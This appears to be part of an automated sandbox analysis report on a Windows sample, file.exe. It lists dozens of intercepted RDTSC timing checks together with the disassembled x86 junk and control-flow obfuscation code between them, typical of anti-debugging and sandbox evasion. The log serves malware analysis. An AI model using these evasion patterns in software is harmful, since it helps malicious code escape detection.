Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0715A second address: A07174 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4465131BC6h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f ja 00007F4465131BD0h 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D393 second address: A0D397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D397 second address: A0D39D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D39D second address: A0D3A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0C9A3 second address: A0C9A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CC2E second address: A0CC37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CC37 second address: A0CC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CEF7 second address: A0CF05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CF05 second address: A0CF09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CF09 second address: A0CF23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA56h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CF23 second address: A0CF49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD3h 0x00000007 pushad 0x00000008 jmp 00007F4465131BCEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D24E second address: A0D269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F44646ECA54h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0F0E6 second address: A0F112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4465131BC6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F4465131BCAh 0x00000011 popad 0x00000012 push ebx 0x00000013 jmp 00007F4465131BD2h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10E3F second address: A10E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10ECC second address: A10ED0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A10ED0 second address: A10ED4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11079 second address: A11082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1125A second address: A1125E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A113B6 second address: A113C0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4465131BCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1149D second address: A114A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11B83 second address: A11B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11B88 second address: A11BAE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007F44646ECA67h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44646ECA55h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A11BAE second address: A11BB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1211C second address: A12120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A140C0 second address: A140C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14BCA second address: A14BD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1493B second address: A1494A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14BD0 second address: A14BFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F44646ECA52h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1494A second address: A1495E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4465131BD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14BFE second address: A14C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14C03 second address: A14C08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14C08 second address: A14C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F44646ECA48h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov esi, dword ptr [ebp+122D2ADCh] 0x00000028 mov dword ptr [ebp+122D57F1h], ebx 0x0000002e push 00000000h 0x00000030 mov edi, 4EC2FB78h 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F44646ECA48h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 jmp 00007F44646ECA4Fh 0x00000056 mov esi, eax 0x00000058 xchg eax, ebx 0x00000059 push esi 0x0000005a jns 00007F44646ECA48h 0x00000060 pop esi 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 jmp 00007F44646ECA4Eh 0x0000006a pushad 0x0000006b popad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16193 second address: A16197 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15F31 second address: A15F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F44646ECA46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A16197 second address: A1619D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15F3E second address: A15F42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1619D second address: A161C4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4465131BC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F4465131BD5h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A161C4 second address: A161C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A17469 second address: A1746E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BC41 second address: A1BC48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1BD3A second address: A1BD3F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DBB5 second address: A1DBCB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DBCB second address: A1DBD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DBD1 second address: A1DBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EBC2 second address: A1EBFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b sub dword ptr [ebp+1244E893h], edx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F4465131BC8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push esi 0x00000031 pop esi 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DD23 second address: A1DD27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EBFB second address: A1EC04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21A26 second address: A21A33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F44646ECA46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21C17 second address: A21C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4465131BC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A22BEB second address: A22BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24AAA second address: A24AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A24AAF second address: A24AB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A25C10 second address: A25C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A23B70 second address: A23B86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA52h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D7C second address: A26D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27BF4 second address: A27BF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26D82 second address: A26D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27DBF second address: A27DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28EDC second address: A28EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A28EE0 second address: A28EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29D9A second address: A29DA3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29DA3 second address: A29DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 mov di, 64CCh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push esi 0x00000013 mov dword ptr [ebp+1246299Bh], ebx 0x00000019 pop edi 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov bx, cx 0x00000024 mov eax, dword ptr [ebp+122D0DF9h] 0x0000002a push 00000000h 0x0000002c push esi 0x0000002d call 00007F44646ECA48h 0x00000032 pop esi 0x00000033 mov dword ptr [esp+04h], esi 0x00000037 add dword ptr [esp+04h], 00000017h 0x0000003f inc esi 0x00000040 push esi 0x00000041 ret 0x00000042 pop esi 0x00000043 ret 0x00000044 push FFFFFFFFh 0x00000046 nop 0x00000047 pushad 0x00000048 push esi 0x00000049 jo 00007F44646ECA46h 0x0000004f pop esi 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A29DFC second address: A29E00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2AEA9 second address: A2AEAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36BC0 second address: A36BD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36DFB second address: 85FBFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F44646ECA46h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e add dword ptr [esp], 477D4387h 0x00000015 jmp 00007F44646ECA53h 0x0000001a push dword ptr [ebp+122D1249h] 0x00000020 cld 0x00000021 call dword ptr [ebp+122D1DB4h] 0x00000027 pushad 0x00000028 or dword ptr [ebp+122D1FF1h], ecx 0x0000002e xor eax, eax 0x00000030 jp 00007F44646ECA59h 0x00000036 mov edx, dword ptr [esp+28h] 0x0000003a stc 0x0000003b mov dword ptr [ebp+122D2CE4h], eax 0x00000041 mov dword ptr [ebp+122D1D8Fh], eax 0x00000047 mov esi, 0000003Ch 0x0000004c sub dword ptr [ebp+122D2593h], ebx 0x00000052 add esi, dword ptr [esp+24h] 0x00000056 jmp 00007F44646ECA58h 0x0000005b cmc 0x0000005c lodsw 0x0000005e jmp 00007F44646ECA4Eh 0x00000063 add eax, dword ptr [esp+24h] 0x00000067 pushad 0x00000068 mov dword ptr [ebp+122D1FF1h], ebx 0x0000006e mov ah, E4h 0x00000070 popad 0x00000071 jns 00007F44646ECA47h 0x00000077 mov ebx, dword ptr [esp+24h] 0x0000007b mov dword ptr [ebp+122D24C0h], edi 0x00000081 nop 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB032 second address: 9CB04C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4465131BD6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CB04C second address: 9CB052 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DF42 second address: A3DF46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3DF46 second address: A3DF83 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44646ECA53h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F44646ECA4Fh 0x00000014 jmp 00007F44646ECA51h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E12D second address: A3E158 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4465131BC6h 0x00000008 jo 00007F4465131BC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F4465131BD4h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E2F9 second address: A3E301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E447 second address: A3E44D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E85D second address: A3E863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E863 second address: A3E86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E86C second address: A3E872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3E872 second address: A3E8CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F4465131BD0h 0x0000000e pop edi 0x0000000f push ecx 0x00000010 ja 00007F4465131BC6h 0x00000016 pop ecx 0x00000017 popad 0x00000018 pushad 0x00000019 jns 00007F4465131BF0h 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EB6E second address: A3EB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnp 00007F44646ECA46h 0x0000000f jg 00007F44646ECA46h 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F44646ECA51h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EB97 second address: A3EBBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4465131BCCh 0x0000000e jno 00007F4465131BC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47964 second address: A47968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4683E second address: A46842 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46842 second address: A4687D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F44646ECA52h 0x0000000d pushad 0x0000000e jmp 00007F44646ECA4Eh 0x00000013 jmp 00007F44646ECA50h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4687D second address: A46886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46886 second address: A46890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F44646ECA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46890 second address: A468A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46BD8 second address: A46BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA53h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46BEF second address: A46C2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F4465131BCFh 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 ja 00007F4465131BC8h 0x0000001c push edx 0x0000001d pop edx 0x0000001e popad 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C2A second address: A46C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C30 second address: A46C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C36 second address: A46C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46C40 second address: A46C54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4465131BCBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46239 second address: A4623E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4623E second address: A46277 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4465131BDDh 0x00000008 jmp 00007F4465131BD7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F4465131BD4h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46277 second address: A4627D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
